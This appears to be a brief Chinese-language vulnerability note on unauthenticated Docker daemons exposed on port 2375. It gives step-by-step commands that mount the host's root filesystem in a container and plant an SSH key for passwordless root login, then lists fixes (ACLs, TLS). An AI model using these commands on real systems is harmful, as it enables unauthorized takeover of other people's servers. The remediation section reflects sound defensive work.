一. 漏洞原因
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
docker守护进程监听在0.0.0.0,外网可访问
没有使用iptables等限制可连接的来源ip
二. 漏洞利用
1.远程对被攻击的主机的docker容器进行操作
docker -H tcp://remoteip:2375 images
- 远程启动被攻击主机的docker容器.并挂在宿主机的目录,通过容器修改宿主机的authrized_keys文件,写入公钥.
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
三. 演示步骤
ssh-keygen 生成公钥文件
docker -H tcp://remoteip:2375 images 查看镜像
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 启动一个容器并将宿主机根目录挂在到容器的mnt目录
mkdir .ssh 创建ssh目录
touch authorized_keys 创建文件
将公钥的文件写入authorized_keys
ssh root@remoteip 免密码登录宿主机
四. 修复方法
设置ACL, 只允许信任ip连接对应端口
开启TLS,使用生成的证书进行认证